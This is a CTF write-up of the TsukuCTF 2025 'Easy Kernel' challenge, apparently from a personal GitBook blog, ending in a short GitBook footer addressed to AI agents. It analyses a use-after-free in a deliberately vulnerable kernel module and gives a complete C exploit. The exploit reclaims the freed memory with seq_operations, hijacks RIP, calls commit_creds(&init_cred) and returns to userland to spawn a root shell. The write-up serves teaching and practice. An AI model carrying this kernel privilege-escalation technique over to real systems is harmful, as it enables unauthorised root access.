> For the complete documentation index, see [llms.txt](https://fyr3p4w.gitbook.io/fyr3p4w-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://fyr3p4w.gitbook.io/fyr3p4w-blog/ctfs/tsukuctf-2025-easy-kernel.md).

# TsukuCTF 2025 - Easy Kernel

### Challenge Files

* bzImage - the compressed version of the linux kernel
* vmlinux - compiled kernel with full metadata (used for debugging and analysis)
* rootfs.ext3 - the file system of the virtualized Linux system

<details>

<summary>vuln.c</summary>

```c
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("r1ru");
MODULE_DESCRIPTION("easy_kernel - TsukuCTF 2025");

#define CMD_ALLOC   0xf000
#define CMD_WRITE   0xf001
#define CMD_FREE    0xf002

#define OBJ_SIZE    0x20

typedef struct {
    size_t size;
    char *data;
} request_t;

struct obj {
    char buf[OBJ_SIZE];
};

static struct obj *obj = NULL;
static DEFINE_MUTEX(module_lock);

static long obj_alloc(void) {
    if (obj != NULL) {
        return -1;
    }
    obj = kzalloc(sizeof(struct obj), GFP_KERNEL);
    if (obj == NULL) {
        return -1;
    }
    return 0;
}

static long obj_write(char *data, size_t size) {
    if (obj == NULL || size > OBJ_SIZE) {
        return -1;
    }
    if (copy_from_user(obj->buf, data, size) != 0) {
        return -1;
    }
    return 0;
}

static long obj_free(void) {
    kfree(obj);
    return 0;
}

static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    request_t req;
    long ret;
    if (copy_from_user(&req, (void *)arg, sizeof(req)) != 0) {
        return -1;
    }
    mutex_lock(&module_lock);
    switch(cmd) {
        case CMD_ALLOC:
            ret = obj_alloc();
            break;
        case CMD_WRITE:
            ret = obj_write(req.data, req.size);
            break;
        case CMD_FREE:
            ret = obj_free();
            break;
        default:
            ret = -1;
            break;
    }
    mutex_unlock(&module_lock);
    return ret;
}

static struct file_operations module_fops = {
    .unlocked_ioctl = module_ioctl,
};

static struct miscdevice vuln_dev = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "vuln",
    .fops = &module_fops
};

static int __init module_initialize(void) {
    if (misc_register(&vuln_dev) != 0) {
        return -1;
    }
    return 0;
}

static void __exit module_cleanup(void) {
    misc_deregister(&vuln_dev);
    mutex_destroy(&module_lock);
}

module_init(module_initialize);
module_exit(module_cleanup);
```

</details>

This is the vulnerable kernel module and we can interact with this module at `/dev/vuln` &#x20;

<details>

<summary>upload.py</summary>

```python
from pwn import *
import subprocess, sys, base64

conn = None

def run(cmd):
    global conn
    conn.sendlineafter(b'$ ', cmd.encode())
    conn.recvline()

def main():
    global conn

    if len(sys.argv) != 4:
        log.info(f'Usage: python3 {sys.argv[0]} <PATH_TO_EXPLOIT> <HOST> <PORT>')
        sys.exit(0)
    
    conn = remote(sys.argv[2], int(sys.argv[3], 10));

    # Perform PoW
    cmd = conn.recvline()
    log.info(f"Received command: {cmd}")
    result = subprocess.check_output(cmd, shell=True)
    log.info(f"PoW result: {result}")
    conn.sendlineafter(b':', result)

    # Upload the exploit to /tmp/exploit using base64 encoding
    with open(sys.argv[1], "rb") as f:
        payload = base64.b64encode(f.read()).decode()

    run("cd /tmp")
    for i in range(0, len(payload), 512):
        chunk = payload[i:i+512]
        log.info(f"Uploading: {i:x}/{len(payload):x}")
        run(f'echo "{chunk}" >> b64exp')

    run('base64 -d b64exp > exploit')
    run('rm b64exp')
    run('chmod +x exploit')
    
    conn.interactive()

if __name__ == '__main__':
    main()
```

</details>

This is the script to upload your file to the server in base64

<details>

<summary>run.sh</summary>

```sh
#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -cpu qemu64 \
    -kernel bzImage \
    -drive file=rootfs.ext3,format=raw \
    -drive file=flag.txt,format=raw \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -smp 1 \
    -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1"
```

</details>

This is the script to run an emulated linux system. From the arguments given, there are no security protections enabled so we dont need to worry about bypassing KASLR, KPTI and etc.

### Setting up the Environment

#### Debugging the Kernel

We can make a copy of `run.sh` into another file called `debug.sh` and modify the following line so that we can debug the kernel

```
qemu-system-x86_64 -s -S\
```

The `-s`  flag opens a gdb server on port 1234 while `-S`  tells qemu to pause at the start

```
gdb ./vmlinux
./debug.sh
target remote :1234
```

Next, run gdb with the kernel image. On a split screen, run `debug.sh` and go back to gdb to run `target remote :1234` &#x20;

<figure><img src="/files/iDRmuGsPjGsW5WNqI4to" alt=""><figcaption></figcaption></figure>

#### Compiling the Exploit

Normally, you would want to statically link the binary

```
gcc -o exploit -static -masm=intel exploit.c
```

However, when sending the payload to the server, the statically linked binary is large and might be slow when uploading to the server. You can use [musl-gcc](https://musl.libc.org/) to create lightweight binaries

```
/usr/local/musl/bin/musl-gcc exploit.c -o exploit -static
```

To test the binary, we need to copy it into the filesystem. Hence, I wrote this script to automatically compile and upload it to the rootfs.

<details>

<summary>compile_exploit.sh</summary>

```sh
#!/usr/bin/bash

sudo mount rootfs.ext3 ./tmpfs

gcc -o exploit -static -masm=intel exploit.c

sudo cp exploit ./tmpfs/

sudo chmod +x ./tmpfs/exploit

sudo umount ./tmpfs
```

</details>

#### Install Kernel Extension for GEF

Clone the following repo

{% embed url="<https://github.com/destr4ct/gef-kernel>" %}

Add the line `source ~/tools/gef-kernel/gef.py` to your `.gdbinit` file but chage the path to where you have the file

### Analysis

```c
static long obj_alloc(void) {
    if (obj != NULL) {
        return -1;
    }
    obj = kzalloc(sizeof(struct obj), GFP_KERNEL);
    if (obj == NULL) {
        return -1;
    }
    return 0;
}

static long obj_write(char *data, size_t size) {
    if (obj == NULL || size > OBJ_SIZE) {
        return -1;
    }
    if (copy_from_user(obj->buf, data, size) != 0) {
        return -1;
    }
    return 0;
}

static long obj_free(void) {
    kfree(obj);
    return 0;
}
```

Based on these 3 functions, there is an obvious Use-After-Free (UAF) on obj\_free() function we are able to write to the freed chunk. But we can only alloc the chunk once with obj\_alloc() because obj is never set to NULL. The chunk that we alloc is of size 0x20 so we can only overwrite structs in the kmalloc-32 cache.&#x20;

#### SLUB Allocator

The SLUB Allocator is kind of like the heap manager but for kernel land. The memory here is referred to as a `slab`  not a `chunk` . Once a slab is freed, it is stored into a slab cache. There are many different types of slab caches such as `kmalloc-64` which stores slabs of size 64 bytes, `kmalloc-128` which stores slabs of size 128 bytes and etc etc. For our scenario, we will be talking advantage of `kmalloc-32`&#x20;

#### Heap Sharing

Unlike userland pwn where there is a heap memory for each program, in kernel land the heap memory is shared by all kernel modules and drivers. Hence, if you somehow corrupt data in the heap, it might cause other drivers to fail aswell. Since the heap is shared between all the modules, the state of the heap is very unpredictable which is why Heap Spraying is a very useful technique in kernel pwn.

### Exploitation

#### Getting address of kernel symbols

To read the kernel symbols, we first need to be a root user. To do this, we could look into the `/etc`  directory in the given filesystem and look `rcS`  or `inittab` . In our challenge it was located in the root directory

```
┌──(kali㉿kali)-[~/CTF/tsukuCTF/mnt/tmpfs]
└─$ tail -n 1 init 
setsid cttyhack setuidgid 1000 sh
```

You need to modify the line to `setsid cttyhack setuidgid 0 sh` to become root user. Now that we are root, we can start reading symbols from kallsyms.

<figure><img src="/files/8Cw7HmfGSgQsHpAJCP6d" alt=""><figcaption></figcaption></figure>

But from kernel version 6.2, we cannot just pass `NULL` to `prepare_kernel_cred`. Instead, we need to use `commit_creds(&init_cred)`&#x20;

```
~ # cat /proc/kallsyms | grep commit_creds
ffffffff812a1040 T __pfx_commit_creds
ffffffff812a1050 T commit_creds
```

Next, we need to find the address of `init_cred` .

```
(remote) gef➤  info addr init_cred
Symbol "init_cred" is static storage at address 0xffffffff81e3bfa0.
(remote) gef➤  
```

#### Abusing kmalloc-32

There is a special struct called `seq_operations`  which is of size 0x20. You can read the source code in [Elixir Bootlin](https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/seq_file.h#L32).

<details>

<summary>seq_operations</summary>

```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};
```

</details>

According to this [blog ](https://nova.gal/en/blog/2023/03/18/_%E5%86%85%E6%A0%B8%E9%A2%98%E7%9B%AE%E7%9A%84%E7%AC%AC%E4%B8%80%E6%AC%A1%E5%B0%9D%E8%AF%95), when `open("/proc/self/stat", 0);` is executed in user space, the kernel calls the `single_open()` function, where it allocates a memory space of size 0x20 for the `seq_operations` structure

<details>

<summary>single_open</summary>

```c
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
		void *data)
{
	struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
	int res = -ENOMEM;

	if (op) {
		op->start = single_start;
		op->next = single_next;
		op->stop = single_stop;
		op->show = show;
		res = seq_open(file, op);
		if (!res)
			((struct seq_file *)file->private_data)->private = data;
		else
			kfree(op);
	}
	return res;
}
EXPORT_SYMBOL(single_open);
```

</details>

When you perform a read() on the file descriptor returned by this, it will call the function pointer at `seq_operations->start` . At this point, we can call `open("/proc/self/stat", O_RDONLY)` to reallocate our freed chunk and use the `obj_write()` to overwrite the `start`  pointer and call `read()` on the file descriptor which will execute `seq_operations->start`

#### Ret2usr

When returning to userland, we cannot just simply pop a shell. We need to restore the userland registers. There are 5 userland registers stored on the stack that need to be setup in the order `RIP > CS > RFLAGS > RSP > SS` . A clever way of doing this is just saving the state of the registers before going into kernel mode with something like this

<details>

<summary>save_state.c</summary>

```c
void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}
```

</details>

#### Exploit Script

<details>

<summary>exploit.c</summary>

```c
#include <stdio.h>
#include <assert.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>

#define CMD_ALLOC   0xf000
#define CMD_WRITE   0xf001
#define CMD_FREE    0xf002

typedef struct {
    size_t size;
    char *data;
} request_t;

int fd;

void obj_alloc() {
    request_t req = {};
    assert(ioctl(fd, CMD_ALLOC, &req) == 0);
}

void obj_write(char *data, size_t size) {
    request_t req = {.size = size, .data = data};
    assert(ioctl(fd, CMD_WRITE, &req) == 0);
}

void obj_free() {
    request_t req = {};
    assert(ioctl(fd, CMD_FREE, &req) == 0);
}

unsigned long user_cs, user_ss, user_rsp, user_rflags;

void save_state() {
    asm volatile (
        "movq %0, cs\n"
        "movq %1, ss\n"
        "movq %2, rsp\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        : 
        : "memory"
    );
}

void win() {
    char *argv[] = { "/bin/sh", NULL };
    execve("/bin/sh", argv, NULL);
}

void restore_state() {
    asm volatile(
        "swapgs\n"
        "movq [rsp + 0x00], %0\n"
        "movq [rsp + 0x08], %1\n"
        "movq [rsp + 0x10], %2\n"
        "movq [rsp + 0x18], %3\n"
        "movq [rsp + 0x20], %4\n"
        "iretq\n"
        :
        : "r"(win), "r"(user_cs), "r"(user_rflags), "r"(user_rsp), "r"(user_ss)
    );
}

#define addr_init_cred      0xffffffff81e3bfa0
#define addr_commit_creds   0xffffffff812a1050

void escalate_privilege() {
    void (*commit_creds) (void *) = (void *)addr_commit_creds;
    commit_creds((void *)addr_init_cred);
    restore_state();
}

int main(void) {
    save_state();
    
    fd = open("/dev/vuln", O_RDONLY);
    assert(fd != -1);

    puts("[*] Allocating the victim object");
    obj_alloc();
    obj_free();

    puts("[*] Allocating struct seq_operations to reclaim the memory");
    int seqfd = open("/proc/self/stat", O_RDONLY);
    assert(seqfd != -1);

    puts("[*] Hijacking RIP");
    char payload[0x8];
    *(unsigned long *)&payload = (unsigned long)escalate_privilege;
    obj_write(payload, sizeof(payload));

    read(seqfd, payload, 1);
}
```

</details>

This is the solve script provided by the authors. After restoring the state, we will set RIP to point to our win function. However, it should be noted that `CONFIG_SLAB_FREELIST_RANDOM` was disabled for this challenge which is why the slub allocator returns the slab in LIFO order. Hence, there's no need for heap spraying.

<figure><img src="/files/zJkUfo4BxDKECDPK3SSG" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://fyr3p4w.gitbook.io/fyr3p4w-blog/ctfs/tsukuctf-2025-easy-kernel.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
